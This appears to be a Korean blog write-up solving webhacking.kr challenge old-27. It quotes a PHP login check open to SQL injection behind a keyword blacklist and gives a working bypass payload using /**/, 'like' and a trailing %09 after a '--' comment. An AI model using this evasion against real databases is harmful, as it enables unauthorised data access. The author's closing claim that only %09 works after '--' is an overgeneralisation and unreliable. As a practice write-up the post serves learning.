반응형
sql injection문제이다.
주요 코드는 아래와 같다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
필터링 룰은 #, select, (, 공백, limit, =, 0x , 대소문자 구별X 이다.
목적은 no = 2 를 만드는 것이다.
확인해보니 guest는 no = 1이다.
그렇기에 넣어야하는 쿼리문은 0) no = 2--이다.
공백 우회는 /**/ 를 활용하고, =은 like를 활용하여 우회하면 된다.
최종 쿼리문은 0)/**/or/**/no/**/like/**/2-- 이 된다.
하지만 전혀 풀리지 않는다...
분명 맞는 쿼리인데 계속 안되어서 고민하다가 이전에 선배님께서 얘기해주신 바로 쿼리문이 안먹힐때는 뒤에 공백을 넣어보라하셨었다.
그러나 공백이 필터링되고 있으므로 %09를 맨뒤에 넣어주었다.
최종 쿼리문: 0)/**/or/**/no/**/like/**/2--%09
%09는 더블 인코딩 때문에 url에 바로 넣었다.
바로 풀리네 ㅋㅋ
===============================================
뒤에 공백을 넣었을 때 풀리는 이유에 대해 찾아보니
-- 주석뒤에는 반드시 공백이 와야한다고 한다. 심지어 %20 같은게 아니라 %09가 와야한다고 한다.
꼭 기억해놔야할 것 같다.
===============================================
반응형
'webhacking.kr' 카테고리의 다른 글
webhacking.kr [old-27] (0) | 2023.07.15 |
---|---|
webhacking.kr [old-25] (0) | 2023.07.15 |
webhacking.kr [old-24] (0) | 2023.07.13 |
webhacking.kr [old-05] (0) | 2023.07.13 |
webhacking.kr [old-54] (0) | 2023.07.13 |